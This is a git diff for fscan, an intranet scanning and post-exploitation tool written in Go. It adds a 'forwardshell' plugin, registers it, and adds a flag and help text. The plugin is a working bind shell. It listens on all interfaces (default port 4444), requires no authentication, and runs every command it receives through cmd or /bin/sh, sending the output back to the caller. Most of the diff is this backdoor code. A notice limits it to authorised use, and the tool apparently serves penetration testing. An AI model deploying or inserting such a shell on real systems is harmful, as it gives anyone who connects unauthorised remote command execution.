diff --git a/Common/Flag.go b/Common/Flag.go index 058b649..010dcba 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -71,6 +71,10 @@ var ( Socks5ProxyPort int // SOCKS5代理监听端口 Socks5ProxyActive bool // SOCKS5代理是否处于活跃状态 + // 正向Shell相关变量 + ForwardShellPort int // 正向Shell监听端口 + ForwardShellActive bool // 正向Shell是否处于活跃状态 + // Parse.go 使用的变量 HostPort []string URLs []string @@ -228,6 +232,7 @@ func Flag(Info *HostInfo) { flag.StringVar(&Shellcode, "sc", "", i18n.GetText("flag_shellcode")) flag.StringVar(&ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target")) flag.IntVar(&Socks5ProxyPort, "socks5-port", 0, i18n.GetText("flag_socks5_proxy")) + flag.IntVar(&ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port")) flag.StringVar(&Language, "lang", "zh", i18n.GetText("flag_language")) // 帮助参数 @@ -374,12 +379,12 @@ func checkParameterConflicts() { if LocalMode { if LocalPlugin == "" { fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n") os.Exit(1) } // 验证本地插件名称 - validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件 + validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "forwardshell"} // 已重构的插件 isValid := false for _, valid := range validPlugins { if LocalPlugin == valid { @@ -390,7 +395,7 @@ func checkParameterConflicts() { if !isValid { fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) - fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n") + fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy, forwardshell\n") os.Exit(1) } } diff --git a/Common/i18n/messages/flag.go b/Common/i18n/messages/flag.go index dc0eead..a98ffc8 100644 --- a/Common/i18n/messages/flag.go +++ b/Common/i18n/messages/flag.go @@ -238,6 +238,10 @@ var FlagMessages = map[string]map[string]string{ LangZH: "启动SOCKS5代理服务器端口 (如: 1080)", LangEN: "Start SOCKS5 proxy server on port (e.g.: 1080)", }, + "flag_forward_shell_port": { + LangZH: "启动正向Shell服务器端口 (如: 4444)", + LangEN: "Start forward shell server on port (e.g.: 4444)", + }, "flag_language": { LangZH: "语言: zh, en", LangEN: "Language: zh, en", diff --git a/Core/Scanner.go b/Core/Scanner.go index 89a21d9..3c695ac 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -75,6 +75,14 @@ func RunScan(info common.HostInfo) { select {} // 阻塞等待,直到收到系统信号 } + if common.ForwardShellActive { + common.LogBase("检测到活跃的正向Shell,保持程序运行...") + common.LogBase("按 Ctrl+C 退出程序") + + // 进入无限等待,保持程序运行以维持正向Shell + select {} // 阻塞等待,直到收到系统信号 + } + // 完成扫描 finishScan() } diff --git a/Plugins/local/forwardshell/plugin.go b/Plugins/local/forwardshell/plugin.go new file mode 100644 index 0000000..2fd2ce3 --- /dev/null +++ b/Plugins/local/forwardshell/plugin.go @@ -0,0 +1,331 @@ +package forwardshell + +import ( + "bufio" + "context" + "fmt" + "net" + "os" + "os/exec" + "runtime" + "strings" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// ForwardShellPlugin 正向Shell插件 - 使用简化架构 +type ForwardShellPlugin struct { + *local.BaseLocalPlugin + port int + listener net.Listener +} + +// NewForwardShellPlugin 创建正向Shell插件 - 简化版本 +func NewForwardShellPlugin() *ForwardShellPlugin { + // 从全局参数获取正向Shell端口 + port := common.ForwardShellPort + if port <= 0 { + port = 4444 // 默认端口 + } + + metadata := &base.PluginMetadata{ + Name: "forwardshell", + Version: "1.0.0", + Author: "fscan-team", + Description: "本地正向Shell服务器插件,在指定端口提供Shell访问", + Category: "local", + Tags: []string{"local", "shell", "remote", "access"}, + Protocols: []string{"local"}, + } + + plugin := &ForwardShellPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + port: port, + } + + // 设置支持的平台(支持Windows、Linux和macOS) + plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 不需要特殊权限(除非需要绑定低端口) + plugin.SetRequiresPrivileges(port < 1024) + + return plugin +} + +// Initialize 初始化插件 +func (p *ForwardShellPlugin) Initialize() error { + // 调用基类初始化 + return p.BaseLocalPlugin.Initialize() +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// ScanLocal 执行正向Shell扫描 - 简化版本 +func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("启动正向Shell服务器...") + + // 启动正向Shell服务器 + common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port)) + + // 直接在当前goroutine中运行,这样可以确保在设置ForwardShellActive后立即被主程序检测到 + err := p.startForwardShellServer(ctx, p.port) + if err != nil { + common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err)) + return &base.ScanResult{ + Success: false, + Error: err, + }, nil + } + + result := &base.ScanResult{ + Success: true, + Service: "ForwardShell", + Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS), + Extra: map[string]interface{}{ + "port": p.port, + "platform": runtime.GOOS, + "service": "shell", + "status": "completed", + }, + } + + return result, nil +} + +// startForwardShellServer 启动正向Shell服务器 - 核心实现 +func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error { + // 监听指定端口 + listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) + if err != nil { + return fmt.Errorf("监听端口失败: %v", err) + } + defer listener.Close() + + p.listener = listener + common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port)) + + // 设置正向Shell为活跃状态,告诉主程序保持运行 + common.ForwardShellActive = true + defer func() { + // 确保退出时清除活跃状态 + common.ForwardShellActive = false + }() + + // 主循环处理连接 + for { + select { + case <-ctx.Done(): + common.LogBase("正向Shell服务器被上下文取消") + return ctx.Err() + default: + } + + // 设置监听器超时,以便能响应上下文取消 + if tcpListener, ok := listener.(*net.TCPListener); ok { + tcpListener.SetDeadline(time.Now().Add(1 * time.Second)) + } + + conn, err := listener.Accept() + if err != nil { + // 检查是否是超时错误 + if netErr, ok := err.(net.Error); ok && netErr.Timeout() { + continue // 超时继续循环 + } + common.LogError(fmt.Sprintf("接受连接失败: %v", err)) + continue + } + + common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String())) + + // 并发处理客户端连接 + go p.handleClient(conn) + } +} + +// handleClient 处理客户端连接 +func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) { + defer clientConn.Close() + + // 发送欢迎信息 + welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS) + clientConn.Write([]byte(welcome)) + + // 创建命令处理器 + scanner := bufio.NewScanner(clientConn) + + for scanner.Scan() { + command := strings.TrimSpace(scanner.Text()) + + if command == "" { + continue + } + + if command == "exit" { + clientConn.Write([]byte("Goodbye!\n")) + common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String())) + break + } + + // 执行命令并返回结果 + p.executeCommand(clientConn, command) + } + + if err := scanner.Err(); err != nil { + common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err)) + } +} + +// executeCommand 执行命令并返回结果 +func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) { + var cmd *exec.Cmd + + // 根据平台创建命令 + switch runtime.GOOS { + case "windows": + cmd = exec.Command("cmd", "/c", command) + case "linux", "darwin": + cmd = exec.Command("/bin/sh", "-c", command) + default: + conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS))) + return + } + + // 设置命令超时 + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...) + + // 执行命令并获取输出 + output, err := cmd.CombinedOutput() + + if ctx.Err() == context.DeadlineExceeded { + conn.Write([]byte("命令执行超时\n")) + return + } + + if err != nil { + conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err))) + return + } + + // 发送命令输出 + if len(output) == 0 { + conn.Write([]byte("(命令执行成功,无输出)\n")) + } else { + conn.Write(output) + // 确保输出以换行符结尾 + if !strings.HasSuffix(string(output), "\n") { + conn.Write([]byte("\n")) + } + } + + // 发送命令提示符 + prompt := p.getPrompt() + conn.Write([]byte(prompt)) +} + +// getPrompt 获取平台特定的命令提示符 +func (p *ForwardShellPlugin) getPrompt() string { + hostname, _ := os.Hostname() + username := os.Getenv("USER") + if username == "" { + username = os.Getenv("USERNAME") // Windows + } + if username == "" { + username = "user" + } + + switch runtime.GOOS { + case "windows": + return fmt.Sprintf("%s@%s> ", username, hostname) + case "linux", "darwin": + return fmt.Sprintf("%s@%s$ ", username, hostname) + default: + return fmt.Sprintf("%s@%s# ", username, hostname) + } +} + +// GetLocalData 获取正向Shell本地数据 +func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + + // 获取系统信息 + data["plugin_type"] = "forwardshell" + data["platform"] = runtime.GOOS + data["arch"] = runtime.GOARCH + data["port"] = p.port + data["service"] = "shell" + + if hostname, err := os.Hostname(); err == nil { + data["hostname"] = hostname + } + + if homeDir, err := os.UserHomeDir(); err == nil { + data["home_dir"] = homeDir + } + + if workDir, err := os.Getwd(); err == nil { + data["work_dir"] = workDir + } + + return data, nil +} + +// ExtractData 提取数据(正向Shell主要是服务功能) +func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: true, + Output: fmt.Sprintf("正向Shell服务器运行完成,端口: %d", p.port), + Data: data, + Extra: map[string]interface{}{ + "port": p.port, + "service": "shell", + "status": "completed", + }, + }, nil +} + +// GetInfo 获取插件信息 +func (p *ForwardShellPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("正向Shell服务器插件\n") + info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能: 提供远程Shell访问,支持命令执行\n") + info.WriteString("协议: TCP,基于文本的命令交互\n") + info.WriteString("实现方式: 纯Go原生,无外部依赖\n") + info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n") + + return info.String() +} + +// RegisterForwardShellPlugin 注册正向Shell插件 +func RegisterForwardShellPlugin() { + factory := base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "forwardshell", + Version: "1.0.0", + Author: "fscan-team", + Description: "本地正向Shell服务器插件,在指定端口提供Shell访问", + Category: "local", + Tags: []string{"forwardshell", "local", "shell", "remote"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewForwardShellPlugin() + }, + ) + + base.GlobalPluginRegistry.Register("forwardshell", factory) +} + +// init 插件注册函数 +func init() { + RegisterForwardShellPlugin() +} \ No newline at end of file diff --git a/main.go b/main.go index 3263f0f..f17e486 100644 --- a/main.go +++ b/main.go @@ -14,6 +14,7 @@ import ( _ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用 _ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用 _ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用 + _ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 新增,可用 ) func main() {